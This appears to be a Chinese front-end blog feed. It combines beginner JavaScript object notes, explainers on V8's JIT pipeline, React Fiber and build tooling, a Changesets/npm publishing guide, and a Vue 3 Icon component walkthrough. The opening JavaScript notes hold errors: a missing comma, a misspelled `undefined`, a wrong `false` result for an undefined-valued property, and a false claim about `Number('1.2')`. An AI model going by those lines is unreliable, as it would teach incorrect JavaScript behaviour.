如果你喜欢这篇文章,欢迎点赞、收藏、分享。明天我们将进入CSS另一个重要话题——响应式设计与移动端适配,教你如何一套代码搞定手机、平板、电脑。


明日预告:响应式设计的核心:媒体查询、流式布局、移动端适配,从零构建一个全端兼容的页面。

JavaScript进阶内容详解

作者 Neweee
2026年3月15日 11:17

JavaScript进阶内容详解

记录js进阶学习的相关内容,本篇算是一个系列的开篇,计划深度学习和js以及v8引擎相关的部分内容。

1.对象

基础

对象用来存放键值对,其中值得注意的是,存在两种方法去创建一个空的的对象。

let user = new Object() // 构造函数方法
let user = {} // "字面量"方法

可以使用delete方法去移除对象属性

delete user.name

多词属性,需要给键名加上引号

let user = {
    "login name": "xxx"
    temp: 123
}

方括号

对象名中可以是方括号,此为计算属性,如下,可从fruit中获取相应值,目前在前端框架中似乎很少会这样去用。可能是因为响应式存在的原因。

let fruit = prompt('123', 'apple');
let user = {
    [fruit]: 5
};
console.log(user.apple);

其本质上,和下面的代码相同,由此可见js的自由性,感觉和自然语言也没有什么区别了

let fruit = prompt('123', 'apple');
let bag = {};
bag[fruit] = 5;

属性存在测试,'in'操作符

如下,in用于判断当前对象中是否存在某一个键值

let bag = {
    fruit: 'apple'
}
console.log("name" in bag) //false
console.log("fruit" in bag) //true

其基本作用实际和console.log(bag.name === undefined)类似,那么既然可以通过undefine来判断是否存在键值,要in还有什么作用呢?那就是键名存在,但是其值为undefined的情况。

let bag = {
    fruit: undefined
}

console.log(bag.fruit === undefiend) //false
console.log("fruit" in bag) //true

对象的排序

整数会按照升序排列,其他会按照创建顺序排列(注意:Number只能转化整数,如Number('1.2')就是错的)

V8 与 JavaScript 执行:从字节码、Ignition 到 TurboFan JIT 的完整管线

作者 兆子龙
2026年3月15日 11:02

一、整体管线概览

V8 执行 JavaScript 的大致流程是:源码解析(Parse) 得到 AST → 预解析(PreParse) 可延迟未用到的函数 → 全解析 + 字节码生成Ignition 解释执行字节码 → 热点TurboFan 编译成优化机器码;同时 内联缓存(IC) 在运行中收集类型反馈,指导 TurboFan 做类型特化与去虚化。理解这条管线,能解释「为什么某段代码先慢后快」「为什么类型稳定有利于优化」等常见现象。

二、解析与 AST

Parser 把 JS 源码转成 抽象语法树(AST)。V8 里对应 ParseProgram / ParseFunction 等。预解析(PreParse) 只做语法检查、不生成完整 AST 和字节码,用于顶层未立即执行的函数,减少启动时间;当该函数首次被调用时再 全解析(FullParse) 并生成字节码。这样大型应用不会因为「所有代码都先编译」而卡在启动阶段。

三、字节码与 Ignition

Ignition 是 V8 的解释器:它不直接执行 AST,而是先把 AST 编译成字节码(bytecode),再逐条执行字节码。字节码是介于 AST 和机器码之间的中间表示,指令紧凑、便于解释、也便于后续 TurboFan 做优化编译。每条字节码对应一个** handler**(一段机器码),解释执行就是「取指令 → 查 handler → 跳转执行」。字节码的生成由 BytecodeGenerator 完成,会遍历 AST 并发出 LdaNamedProperty、Add、Star 等指令;同时会为内联缓存(IC) 预留 slot,在首次执行时由 IC 记录类型反馈(如「该 load 来自哪个 shape」),供 TurboFan 使用。

四、内联缓存(Inline Cache, IC)

每次对对象属性的访问、二元运算等,在字节码执行时会走 IC:第一次执行时未命中,会走一段慢路径(查 Hidden Class、可能做类型推断)并更新 IC 状态;后续若类型与上次一致则命中,直接走快路径(如偏移量固定的内存访问)。若类型多变(多态/ megamorphic),IC 会退化为通用查找。因此 「类型稳定」(同一变量始终是同一 shape)能提高 IC 命中率,进而让 TurboFan 生成更优的机器码。

五、TurboFan 与优化编译

当某段字节码(通常是一个函数)被重复执行到一定次数或被标记为热点TurboFan 会将其编译成优化后的机器码。TurboFan 的输入是字节码 + 类型反馈(来自 IC),经过 Sea of Nodes 图、多种优化 pass(如内联、逃逸分析、类型窄化、去虚化),最后 Instruction Selector 生成目标架构的汇编。优化后的代码假设「类型与反馈一致」;若运行时违反(如本来一直是 number 的变量突然变成 object),会 deoptimize 回字节码解释执行,并可能丢弃该函数的优化版本。所以「避免类型变化」「避免在热路径上多态」能减少 deopt,提升稳定性能。

六、Hidden Class 与快速属性访问

V8 用 Hidden Class(Shape) 描述对象的「结构」:相同键、相同顺序的对象共享同一个 Hidden Class;新增/删除属性会触发 transition,形成 Hidden Class 链。属性在对象内的偏移存在 Hidden Class 里,所以一旦知道 Hidden Class,属性访问就是「基址 + 偏移」的一次内存读,无需查表。若代码里频繁创建「结构相同」的对象,能很好利用这一机制;若结构多变或动态增删属性,会导致 transition 链过长或属性退化为「字典模式」,访问变慢。

七、总结与性能建议

管线:Parse → Bytecode → Ignition 解释 + IC 收集反馈 → TurboFan 优化编译。写高性能 JS 时:保持类型稳定(同一变量少变 type)、热路径上少多态(避免同一调用点多种 shape)、避免在热函数里动态增删属性或改 prototype大对象/数组考虑 TypedArray 或固定结构。需要深入时可看 V8 的 --trace-opt / --trace-deopt--print-bytecode 输出,对照源码理解 Ignition 与 TurboFan 的边界。

八、延伸阅读

  • V8 博客:Ignition、TurboFan 的官方介绍与优化案例。
  • 源码:src/ignition/src/compiler/src/ic/ 等目录。
  • 《JavaScript 引擎进阶》等书对 AST、字节码、JIT 有更系统讲解。

九、实践:如何观察字节码与优化

在 Node 或 Chrome 中可通过 --print-bytecode(V8 标志)在控制台打印生成的字节码,便于对照 Ignition 指令理解执行流程。--trace-opt 会打印哪些函数被 TurboFan 优化、--trace-deopt 会打印哪些发生了 deoptimize 及原因(如 type feedback 不匹配)。在写高性能 JS 时,可先用 trace 看热点与 deopt,再针对性做类型稳定与结构稳定;避免在热路径上使用 evalwithdelete 等难以优化的结构。结合本文的 IC 与 TurboFan 管线,能更理性地做性能调优而非盲目「优化」。

React Fiber 调度器源码解析:从 workLoop 到 commit 的完整渲染链路

作者 兆子龙
2026年3月15日 11:01

一、为什么要引入 Fiber

React 15 及之前, Reconciler 基于递归:从根组件一路向下调 mount/update,一旦开始就跑到底再提交 DOM。树大或组件重时,主线程长时间被占,导致输入卡顿、掉帧。Fiber 把「一棵组件树」拆成以** Fiber 节点为单位的可调度工作单元:每个 Fiber 对应一个组件或 DOM 节点, Reconciler 按 Fiber 逐个处理,并可在每个单元结束后让出主线程**,让高优先级更新(如用户输入)插队,从而实现可中断的并发渲染

二、Fiber 节点与双缓冲

每个 Fiber 上保存了:type(组件类型或 DOM 标签)、keyreturn / child / sibling(树形链表结构)、alternate(指向另一棵树上对应节点,用于双缓冲)、pendingProps / memoizedPropsmemoizedStateflags(增删改等副作用的标记)、lanes(优先级相关)等。双缓冲:当前屏对应一棵 current 树,正在计算的更新对应一棵 workInProgress 树;Reconciler 只改 workInProgress,算完后一次性 commit 把 workInProgress 换为 current,避免半成品 UI 暴露。

三、Scheduler 与优先级

React 的调度层 Scheduler 不依赖 React 自身:它维护一个按优先级排序的任务队列,在浏览器空闲时(或按时间片)执行任务,并可取消/暂停低优先级任务。React 把「一次更新」封装成 Scheduler 的 task,并赋予 laneexpirationTime 表示优先级;高优先级(如 input)会打断或抢占低优先级(如 list 渲染)。Scheduler 暴露 scheduleCallbackcancelCallbackshouldYield 等,Fiber 的 workLoop 里在每处理完一个单元后调用 shouldYield(),若需要让出则暂停并稍后继续。

四、workLoop 与 beginWork / completeWork

workLoopConcurrent(或 workLoopSync)从 root 开始,循环调用 performUnitOfWork:每次处理一个 Fiber。performUnitOfWork 内对当前 Fiber 调 beginWork(根据 tag 做 mount/update 的 diff、打 effect 标记、递归子节点),若没有子节点则 completeUnitOfWork,否则继续向下。completeWork 在「子节点都处理完」时执行:对 HostComponent 做 DOM 的增删改属性、对类组件做 ref 等;然后根据 sibling 找兄弟,没有则 return 到父节点再 complete。整棵 workInProgress 树就这样以深度优先、先子后兄再父的方式被遍历一遍,同时把 effectList(或依赖 flags 的 effect 链)串起来,供 commit 阶段消费。

五、commit 阶段:commitRoot

当 workLoop 把整棵 workInProgress 树算完,会调用 commitRoot。commit 阶段不可中断,分三个子阶段:commitBeforeMutationEffects(如 getSnapshotBeforeUpdate)、commitMutationEffects(对 DOM 增删改、执行 useLayoutEffect 的 destroy)、commitLayoutEffects(执行 useLayoutEffect 的 create、ref 回调、componentDidMount/Update)。之后把 root.current 指向 workInProgress,完成双缓冲切换;再在下一帧或微任务里触发 useEffect 的调度(异步)。这样保证用户看到的始终是「一整帧完整更新」,而不会看到半成品。

六、与 React 18 并发特性的关系

useTransitionuseDeferredValueSuspense 都建立在这套 Fiber + Scheduler 之上:过渡更新被标记为低优先级,可被高优先级打断;Suspense 的「挂起」会中断当前子树渲染并显示 fallback,等 Promise resolve 后再重新调度。理解 workLoop 的「可让出」和 commit 的「一次性提交」,就能更好理解并发模式下的行为与边界。

七、总结与阅读建议

Fiber = 可调度的工作单元 + 双缓冲 + 优先级;Scheduler 负责「何时跑」、Reconciler 负责「怎么 diff」、commit 负责「怎么落 DOM」。读源码时建议从 performSyncWorkOnRoot / performConcurrentWorkOnRoot 入口跟到 workLoop → beginWork/completeWork,再跟 commitRoot 三子阶段;配合 React DevTools 的 Profiler 与「Highlight updates」观察优先级与打断效果,印象会更深。

八、关键数据结构与源码路径(React 18)

  • Fiberpackages/react-reconciler/src/ReactFiber.old.js 中的 Fiber 类型定义;FiberRootReactFiberRoot.old.js
  • Schedulerpackages/scheduler/src/Scheduler.js(任务循环)、SchedulerPriorities.js(优先级常量)。
  • workLooppackages/react-reconciler/src/ReactFiberWorkLoop.old.jsperformConcurrentWorkOnRoot / performSyncWorkOnRootworkLoopConcurrentperformUnitOfWork
  • beginWork / completeWorkReactFiberBeginWork.old.jsReactFiberCompleteWork.old.js
  • commitReactFiberCommitWork.old.jscommitRoot 内对 mutation/layout 的遍历。

打开 React 仓库按上述路径跳转,再结合打断点单步,能快速对应到本文描述的流程。

九、常见问题

  • 为什么我的 useEffect 执行了两次? 在 React 18 Strict Mode 下会故意双调用于发现副作用问题;生产构建不会。
  • useTransition 没感觉变快? 它不减少计算量,只是把更新标记为可打断,避免阻塞输入;若本身没有重计算,体感差异不大。
  • commit 阶段为什么不能打断? 一旦改 DOM 就要原子完成,否则会出现半帧状态;只有「算 Fiber」阶段可让出。

十、调试与性能分析建议

在 Chrome DevTools 的 Performance 里录制一次交互,可看到主线程上 Recalc StyleLayoutJS 的占比;若 React 更新占大头,可再用 React DevTools Profiler 看是哪些组件 render 多、commit 耗时高。Scheduler 的 task 可在 Performance 的 JS 调用栈里看到 workLoopConcurrentperformUnitOfWork 等;结合 Scheduling Profiler(实验性)可观察任务优先级与打断。源码阅读时建议从 createRootupdateContainer 跟到 scheduleUpdateOnFiber,再跟到 ensureRootIsScheduled 与 workLoop,这样能把「一次 setState 如何驱动整条链路」串起来,对理解并发与优先级大有帮助。

现代前端构建:从 AST、依赖图到产物分块的完整管线解析

作者 兆子龙
2026年3月15日 10:56

一、构建管线在解决什么问题

前端工程里,源码往往以多模块、多格式(TS、JSX、Vue、CSS)存在,且存在依赖关系;浏览器无法直接跑 TS、无法按「裸模块」请求 node_modules。构建管线要完成:解析(把各格式转成 AST)、转换(AST 变换、降级、CSS 处理)、依赖分析(从入口建模块图)、打包/分块(合并或按策略拆 chunk)、代码生成(AST → 目标代码 + sourcemap)。理解这条管线,能更好配置 Webpack/Vite/Rollup、写 Babel/PostCSS 插件、排构建慢与产物异常。

二、解析阶段:从源码到 AST

解析器 把源码变成 AST(抽象语法树)。不同语言用不同解析器:JS/TS 常用 acorn@babel/parserswc;CSS 用 postcss 的解析;Vue SFC 先拆成 script/style/template 再分别解析。解析结果是一棵带节点类型的树,后续 转换生成 都基于 AST,不直接操作字符串。解析阶段会报语法错误、可产出 location 信息供 sourcemap 与报错定位。

三、转换与 Loader / 插件

转换 在 AST 上做增删改:Babel 做语法降级、JSX 转 JS、TS 擦除类型;PostCSS 做 autoprefixer、嵌套;Vue/React 的 loader 可能做 SFC 拆块或 JSX 编译。在 Webpack 里,Loader 是「单文件进单文件出」的转换管道;在 Rollup/Vite 里,插件transform 钩子对模块内容做转换。共同点是:输入是源码或 AST,输出是下一阶段可消费的代码(或 AST)。转换顺序通常由配置顺序决定,可串联多个 loader/插件。

四、模块图与依赖分析

入口(如 main.js)开始,根据 import/require 静态分析依赖,递归解析每个模块,得到一张模块图(Module Graph):节点是模块,边是依赖关系。图中会记录模块的绝对路径、类型(JS/CSS)、依赖列表、解析后的内容。动态 import(import())会生成异步边界:依赖的模块单独成 chunk,在运行时再加载。模块图是后续 Tree-shaking分块代码生成 的基础;图错了(如循环依赖未处理、动态路径未展开)会导致打包结果错误或冗余。

五、Tree-shaking 与 Dead Code Elimination

Tree-shaking 指利用 ESM 的静态结构,在模块图上做可达性分析:从入口出发,只保留「被引用」的 export;未被引用的 export 及其内部未使用代码可视为 dead code 并在生成时去掉。前提是:模块必须是 ESM(CommonJS 的 require 是动态的,难以静态分析);无副作用或通过 package.json 的 sideEffects 声明。Rollup 是 Tree-shaking 的典型实现者;Webpack 在 production 模式下也会做类似优化。写库时注意 export 粒度sideEffects 配置,能减少业务方打包体积。

六、分块(Chunk)策略与代码分割

分块 决定哪些模块打进同一个 bundle、哪些单独成 chunk。常见策略:按入口(多页应用每个入口一个 chunk)、按动态 import(每个 import() 边界一个 async chunk)、按 vendor(把 node_modules 打成单独 chunk 利于缓存)、manualChunks(手动指定某类模块进某 chunk)。分块会影响请求数缓存命中首屏体积;过细会请求多,过粗会单包过大。需要结合 preload/prefetch懒加载时机 做权衡。

七、代码生成与运行时

代码生成模块图 + 分块结果转成最终的可执行代码:每个 chunk 对应一个运行时(如 Webpack 的 runtime:模块 id 与 chunk 加载、模块缓存)加模块内容(可能被包装成函数、按 id 注册)。要保证:依赖顺序正确(被依赖的模块先执行)、全局变量/IIFE 不冲突sourcemap 正确映射回源码。产物格式可以是 IIFEESMCJS,由配置的 output.format 等决定。

八、总结与工具对照

整条管线:解析 → 转换(Loader/插件)→ 模块图 → Tree-shaking → 分块 → 代码生成。Webpack 的 loader 链对应「解析+转换」、Module Graph 对应模块图、SplitChunks 对应分块;Vite 开发时跳过打包、按需编译,生产用 Rollup 走完整管线。写插件或排错时,抓住「当前处在哪一阶段、输入输出是什么」,就能快速定位问题。

九、延伸阅读

  • Webpack 文档:Concepts、Module Graph、Code Splitting。
  • Rollup 文档:Plugin API、output options。
  • Babel 插件手册:AST 节点类型与 visit 写法。

十、实践:写一个简单的 Babel 转换插件

理解 AST 后,可以写一个最小 Babel 插件:用 @babel/parser 解析得到 AST,用 @babel/traversevisitor 遍历并修改节点(如把某个函数名全部替换),再用 @babel/generator 生成代码。插件形式是导出一个函数,返回带 visitor 的对象;在 Babel 配置的 plugins 里引用即可。这样能直观感受「解析 → 转换 → 生成」的闭环,并推广到 PostCSS、Rollup 的 transform 钩子:本质都是在 AST 或中间表示上做变换,构建管线只是把这些步骤串起来并加上模块图与分块。动手写一个小插件后,再回头看 Webpack/Vite 的文档,会更容易抓住重点。

Vue3 组件库实战(七):从本地到 NPM:版本管理与自动化发布指南(下)

作者 小祸
2026年3月15日 10:39

请添加图片描述

从本地到 NPM(下):版本管理与自动化发布指南

写在前面:在完成了核心组件的打包构建与测试后(详见《从本地到 NPM(上):工程化构建与打包指南》),我们的组件库 my-antd-ui 正式进入了最后也是最关键的阶段——版本发布。这不仅是把代码传到网上那么简单,更是要建立一套规范、透明、可回溯的版本管理体系。


四、如何发布?(流程篇)

手动改版本号和写更新日志太低效。在 Monorepo 项目中,手动管理几十个子包的版本号简直是噩梦。我们引入了版本管理利器:Changesets

1. 什么是 Changesets?

它是一个专门处理版本控制变更记录的工具。它将“记录改动”与“执行发布”解耦,让版本迭代变得像流水线一样精准。

2. 为什么我们需要它?

  • 拒绝手动修改:不用再去每个 package.json 里手动填版本号。
  • 自动化日志:它会自动收集你的改动信息,生成漂亮的 CHANGELOG.md
  • 关联性同步:如果你改了 utils 包,它会自动提醒你受影响的 components 包是否也需要升级。

3. 核心配置速览

我们的配置文件位于 .changeset/config.json,它是整个发布系统的“大脑”:

{
  "$schema": "https://unpkg.com/@changesets/config@3.1.2/schema.json",
  "changelog": "@changesets/cli/changelog", // 指定生成 CHANGELOG.md 的方式
  "commit": false, // 执行 version 命令时是否自动提交 git commit
  "fixed": [], // 强制同步版本的包组(组内任一包更新,全组同步版本)
  "linked": [], // 关联版本的包组(版本保持一致,但仅在有变更时更新)
  "access": "restricted", // 发布权限:public(公开) 或 restricted(私有)
  "baseBranch": "master", // 项目主分支,用于对比变更
  "updateInternalDependencies": "patch", // 内部依赖更新时的版本提升策略
  "ignore": [] // 忽略版本管理的包
}
🧪 深度解析:updateInternalDependencies

假设我们有两个包,一个依赖另一个:

pkg-a @ version 1.0.0
pkg-b @ version 1.0.0
  depends on pkg-a at range `^1.0.0

当我们同时为两者发布 Patch (补丁) 变更(1.0.1)时:

  • 设置为 "patch" (默认)pkg-bpkg-a 的依赖会强制更新为 ^1.0.1。这是一种积极更新策略,确保内部依赖总是指向最新补丁。
  • 设置为 "minor"pkg-bpkg-a 的依赖将保持 ^1.0.0。因为变更只是 Patch 级别,未达到 Minor 阈值,所以依赖范围不移动。

4. 规范流程与后续建议

在实际开发中,建议遵循以下“三部曲”:

  1. Record (记录变更): 运行 npx changeset。它会启动交互式菜单:

    • 选包:按 空格 勾选本次有变动的包。
    • 定级:选择变更等级。Major (大变动/不兼容)、Minor (新功能)、Patch (修复 Bug)。
    • 写总结:输入简明的变更描述(建议使用中文)。 随后它会在 .changeset/ 目录下生成一个随机命名的 .md 文件。这个文件就是你发布前的**“存证”**。
  2. Version (版本提升): 在准备发布前,运行 npx changeset version。工具会“消费”掉刚才生成的那些 .md 存证文件,自动更新相关包的 package.json 版本号,并同步生成/更新 CHANGELOG.md

  3. Publish (正式发布): 运行 pnpm build 确保产物最新,然后执行 npx changeset publish 将你的组件库一键推送到 NPM 仓库。


五、实战演练:发布一个 Patch 补丁版本

在完成文档更新或修复微小 Bug 后,我们需要发布一个 Patch(补丁)版本。以下是本次实战的真实操作记录:

1. 记录变更 (Record)

执行 npx changeset。在交互式菜单中:

  • 选包:按 空格 勾选 @my-antd-ui/components, @my-antd-ui/theme, @my-antd-ui/utils 等所有受影响的包。
  • 定级:选择 patch
  • 总结:输入 更新发布文档

2. 提升版本 (Version)

执行 npx changeset version

  • 版本更新:所有相关子包的 package.json 版本号从 1.0.0 统一提升至 1.0.1
  • 日志同步:每个包的 CHANGELOG.md 都自动插入了本次变更的中文说明。

3. 构建与发布 (Build & Publish)

# 执行 Monorepo 一键构建
pnpm build

# 执行正式发布
npx changeset publish

⚠️ 发布常见错误排查 (Troubleshooting)

1. ENEEDAUTH - 授权失败

现象error ENEEDAUTH 原因:指向了国内镜像源(如淘宝镜像),或者未在当前终端登录 NPM 账号。 解决

  1. 切换官方源npm config set registry https://registry.npmjs.org/
  2. 执行登录npm login

2. 402 Payment Required - 作用域权限

现象:发布以 @xxx/ 开头的包时报错。 解决:在发布命令后添加参数,或在 .changeset/config.json 中配置 "access": "public"

npx changeset publish --access public

3. 403 Forbidden - 2FA 验证失败

现象error E403 Forbidden - Two-factor authentication... is required 解决:使用 Granular Access Token(勾选 "Bypass 2FA requirement" 选项)并配置到本地 npm。

npm config set //registry.npmjs.org/:_authToken=YOUR_TOKEN_HERE

📦 组件库使用指南

发布成功后,用户可以通过以下方式使用你的组件库:

1. 全局注册

import { createApp } from 'vue'
import MyAntdUI from '@my-antd-ui/components'
import '@my-antd-ui/theme/index.css'

const app = createApp(App)
app.use(MyAntdUI)
app.mount('#app')

2. 按需引入

<script setup lang="ts">
import { MyButton, MyInput, MyMessage } from '@my-antd-ui/components'
import { formatDate } from '@my-antd-ui/utils'

const handleClick = () => {
  MyMessage.success('操作成功!')
}
</script>

<template>
  <div>
    <MyButton type="primary" @click="handleClick">点击我</MyButton>
    <MyInput v-model="value" placeholder="请输入内容" />
  </div>
</template>

🏁 结语:构建生产级组件库的"四大支柱"

发布组件库不是简单的代码搬运,而是一场关于标准化自动化的架构实践。

  1. 统一构建(Standardized Build):基于 Vite 库模式确保产物跨环境兼容。
  2. 极智体验(Developer Experience):通过自动生成 .d.tsglobal.d.ts 扩展提升开发感。
  3. 版本契约(Versioning Contract):引入 Changesets 规范迭代流程。
  4. 质量守卫(Quality Gate):依托 GitHub Actions 将质量固化。

工程化不是为了解决现在的问题,而是为了预防未来的灾难。 当你学会从“写一个组件”转向“经营一个生态”时,你就已经完成了从普通开发者向系统架构师的跃迁。


相关阅读:

Vue3 组件库实战(五):Icon 图标组件的设计与实现

作者 小祸
2026年3月15日 10:36

请添加图片描述

Vue3 组件库实战:Icon 图标组件的设计与实现

本文将带你深入理解一个企业级 Icon 组件的设计思路和实现细节,适合 Vue 3 初学者阅读。

📖 目录


为什么需要 Icon 组件

在现代 Web 应用中,图标无处不在:按钮上的勾选图标、导航栏的菜单图标、提示信息的警告图标等等。如果每次使用图标都要手写 SVG 代码或者引入图片,会带来以下问题:

  1. 代码冗余:每个地方都要复制粘贴相同的 SVG 代码
  2. 维护困难:如果要统一修改图标样式,需要改很多地方
  3. 不够灵活:很难动态控制图标的大小、颜色等属性
  4. 不够规范:团队成员可能使用不同来源的图标,导致风格不统一

因此,我们需要一个统一的 Icon 组件来解决这些问题。


组件设计思路

我们的 Icon 组件基于以下设计原则:

1. 简单易用

<!-- 只需要一个 name 属性就能使用图标 -->
<MyIcon name="check" />

2. 高度可定制

<!-- 支持自定义大小和颜色 -->
<MyIcon name="home" :size="24" color="#409eff" />

3. 扩展性强

<!-- 如果内置图标不够用,可以通过插槽自定义 -->
<MyIcon :size="24">
  <svg><!-- 自定义 SVG --></svg>
</MyIcon>

核心功能实现

让我们逐步拆解这个组件的实现,看看每一部分是如何工作的。

第一步:定义组件属性(Props)

const props = defineProps({
  // 图标名称
  name: {
    type: String as PropType<string>,
    default: undefined,
  },
  // 图标大小,支持数字(px)或字符串(如 '2em')
  size: {
    type: [Number, String] as PropType<number | string>,
    default: undefined,
  },
  // 图标颜色
  color: {
    type: String,
    default: undefined,
  },
})

解释:

  • name:用户通过这个属性指定要显示哪个图标,比如 "check""home"
  • size:控制图标大小,可以传数字(会自动加 px 单位)或字符串(如 "2em"
  • color:控制图标颜色,支持任何 CSS 颜色值(如 "#409eff""red" 等)

为什么 size 要支持两种类型?

  • 传数字更方便:<MyIcon :size="24" />
  • 传字符串更灵活:<MyIcon size="2em" /> 可以使用相对单位

第二步:创建图标映射表

// 首先从 Ant Design Icons 导入需要的图标
import {
  CheckOutlined,
  CloseOutlined,
  InfoCircleOutlined,
  SearchOutlined,
  // ... 更多图标
} from '@ant-design/icons-vue'

// 创建一个映射表,将简单的名称映射到实际的图标组件
const iconMap: Record<string, Component> = {
  'check': CheckOutlined,
  'close': CloseOutlined,
  'info': InfoCircleOutlined,
  'search': SearchOutlined,
  'user': UserOutlined,
  'setting': SettingOutlined,
  'home': HomeOutlined,
  'delete': DeleteOutlined,
  'edit': EditOutlined,
  'plus': PlusOutlined,
  'minus': MinusOutlined,
  'up': UpOutlined,
  'down': DownOutlined,
  'left': LeftOutlined,
  'right': RightOutlined,
  'loading': LoadingOutlined,
  'check-circle': CheckCircleOutlined,
  'close-circle': CloseCircleOutlined,
  'exclamation-circle': ExclamationCircleOutlined,
  'warning': WarningOutlined,
}

解释:

这个映射表是整个组件的核心!它的作用是:

  1. 简化使用:用户只需要记住简单的名称(如 "check"),而不需要记住完整的组件名(CheckOutlined
  2. 统一管理:所有可用的图标都在这里定义,方便维护和扩展
  3. 类型安全:使用 TypeScript 的 Record<string, Component> 类型,确保映射的值都是 Vue 组件

什么是 Record 类型?

Record<string, Component> 是 TypeScript 的一个工具类型,表示:

  • 键(key)是字符串类型
  • 值(value)是 Component 类型(Vue 组件)

相当于:

{
  [key: string]: Component
}

第三步:计算图标样式

const iconStyle = computed<CSSProperties>(() => {
  const style: CSSProperties = {}

  if (props.size) {
    // 如果是数字,添加 px 单位;否则直接使用字符串值
    style.fontSize
      = typeof props.size === 'number' ? `${props.size}px` : props.size
  }

  if (props.color) {
    style.color = props.color
  }

  return style
})

解释:

这是一个计算属性(computed),它会根据 props 动态生成 CSS 样式对象。

为什么使用 computed?

  1. 响应式:当 props.sizeprops.color 变化时,样式会自动更新
  2. 缓存:只有依赖的数据变化时才重新计算,提高性能
  3. 类型安全:使用 CSSProperties 类型,确保生成的样式对象符合 CSS 规范

代码逻辑详解:

// 1. 创建一个空的样式对象
const style: CSSProperties = {}

// 2. 如果用户传了 size 属性
if (props.size) {
  // 判断 size 是数字还是字符串
  style.fontSize = typeof props.size === 'number'
    ? `${props.size}px`  // 数字:24 → "24px"
    : props.size         // 字符串:直接使用 "2em"
}

// 3. 如果用户传了 color 属性
if (props.color) {
  style.color = props.color  // 直接设置颜色
}

// 4. 返回最终的样式对象
return style

为什么用 fontSize 控制图标大小?

因为 Ant Design Icons 是基于字体图标(Icon Font)的原理,图标的大小由 font-size 控制,颜色由 color 控制。

第四步:获取对应的图标组件

const iconComponent = computed(() => {
  if (props.name && iconMap[props.name]) {
    return iconMap[props.name]
  }
  return null
})

解释:

这也是一个计算属性,用于根据用户传入的 name 查找对应的图标组件。

代码逻辑:

  1. 检查用户是否传了 name 属性
  2. 检查 iconMap 中是否存在这个名称的图标
  3. 如果都满足,返回对应的图标组件
  4. 否则返回 null(表示没有找到图标)

为什么要返回 null?

因为在模板中,我们会根据 iconComponent 是否为 null 来决定是渲染图标还是使用插槽内容。

第五步:渲染模板

<template>
  <span :class="ns.b()" :style="iconStyle">
    <!-- 如果指定了 name 属性,渲染对应的 Ant Design 图标 -->
    <component :is="iconComponent" v-if="iconComponent" />
    <!-- 否则使用插槽,允许自定义图标内容 -->
    <slot v-else />
  </span>
</template>

解释:

这是组件的渲染逻辑,让我们逐行分析:

1. 外层容器
<span :class="ns.b()" :style="iconStyle">
  • 使用 <span> 作为容器(行内元素,不会独占一行)
  • :class="ns.b()" 是 BEM 命名规范的工具函数,会生成类名 my-icon
  • :style="iconStyle" 应用我们计算好的样式(大小和颜色)
2. 动态组件渲染
<component :is="iconComponent" v-if="iconComponent" />

这是 Vue 的动态组件语法:

  • <component :is="xxx" /> 可以动态渲染不同的组件
  • v-if="iconComponent" 只有当找到对应图标时才渲染
  • 相当于:如果用户传了 name="check",就渲染 <CheckOutlined /> 组件

为什么不直接写 <CheckOutlined />

因为我们不知道用户会传什么 name,需要根据 name 动态决定渲染哪个图标组件。

3. 插槽后备内容
<slot v-else />
  • <slot /> 是 Vue 的插槽语法,允许用户传入自定义内容
  • v-else 表示:如果没有找到对应的图标(iconComponentnull),就使用插槽内容

使用场景:

<!-- 场景 1:使用内置图标 -->
<MyIcon name="check" />  <!-- 渲染 CheckOutlined -->

<!-- 场景 2:使用自定义图标 -->
<MyIcon :size="24">
  <svg><!-- 自定义 SVG --></svg>
</MyIcon>  <!-- 渲染插槽内容 -->

使用示例

基础用法

<template>
  <!-- 最简单的用法 -->
  <MyIcon name="check" />

  <!-- 设置大小 -->
  <MyIcon name="home" :size="24" />

  <!-- 设置颜色 -->
  <MyIcon name="user" color="#409eff" />

  <!-- 同时设置大小和颜色 -->
  <MyIcon name="setting" :size="32" color="red" />
</template>

在按钮中使用

<template>
  <button>
    <MyIcon name="check" :size="16" />
    <span>确认</span>
  </button>

  <button>
    <MyIcon name="close" :size="16" />
    <span>取消</span>
  </button>
</template>

<style scoped>
button {
  display: flex;
  align-items: center;
  gap: 8px;
}
</style>

使用自定义图标

<template>
  <MyIcon :size="24" color="#67c23a">
    <svg viewBox="0 0 1024 1024" fill="currentColor">
      <path d="M512 64C264.6 64 64 264.6 64 512s200.6 448 448 448..." />
    </svg>
  </MyIcon>
</template>

注意: 自定义 SVG 时,使用 fill="currentColor" 可以让图标继承父元素的 color 属性。

动态切换图标

<script setup>
import { ref } from 'vue'

const isVisible = ref(false)
</script>

<template>
  <button @click="isVisible = !isVisible">
    <MyIcon :name="isVisible ? 'up' : 'down'" />
    <span>{{ isVisible ? '收起' : '展开' }}</span>
  </button>
</template>

最佳实践

1. 统一图标大小

在实际项目中,建议定义统一的图标大小规范:

// constants.ts
export const ICON_SIZE = {
  SMALL: 16,
  MEDIUM: 20,
  LARGE: 24,
  XLARGE: 32,
}
<template>
  <MyIcon name="check" :size="ICON_SIZE.MEDIUM" />
</template>

2. 使用语义化的颜色

// theme.ts
export const ICON_COLOR = {
  PRIMARY: '#409eff',
  SUCCESS: '#67c23a',
  WARNING: '#e6a23c',
  DANGER: '#f56c6c',
  INFO: '#909399',
}
<template>
  <MyIcon name="check-circle" :color="ICON_COLOR.SUCCESS" />
  <MyIcon name="close-circle" :color="ICON_COLOR.DANGER" />
</template>

3. 封装常用图标组合

<!-- SuccessIcon.vue -->
<template>
  <MyIcon name="check-circle" :size="20" color="#67c23a" />
</template>

<!-- ErrorIcon.vue -->
<template>
  <MyIcon name="close-circle" :size="20" color="#f56c6c" />
</template>

4. 添加无障碍支持

<template>
  <MyIcon
    name="delete"
    role="img"
    aria-label="删除"
  />
</template>
  • role="img":告诉屏幕阅读器(如视障用户使用的读屏软件)这个元素是一个图标,而非普通文本或装饰性元素。
  • aria-label="删除":为图标提供文字描述。因为图标本身没有文字内容,屏幕阅读器读到该元素时会朗读"删除",帮助视障用户理解图标的含义。
  • 由于组件使用了 <script setup>,Vue 3 会自动将未声明的 attrs(如 rolearia-label)透传到根元素 <span> 上,无需额外处理。

技术要点总结

1. TypeScript 类型定义

// PropType 用于定义 props 的类型
type: String as PropType<string>
type: [Number, String] as PropType<number | string>

// CSSProperties 用于定义 CSS 样式对象的类型
const style: CSSProperties = {}

// Record 用于定义对象映射的类型
const iconMap: Record<string, Component> = {}

2. Vue 3 Composition API

// computed:计算属性,自动缓存和响应式更新
const iconStyle = computed(() => { /* ... */ })

// defineProps:定义组件属性
const props = defineProps({ /* ... */ })

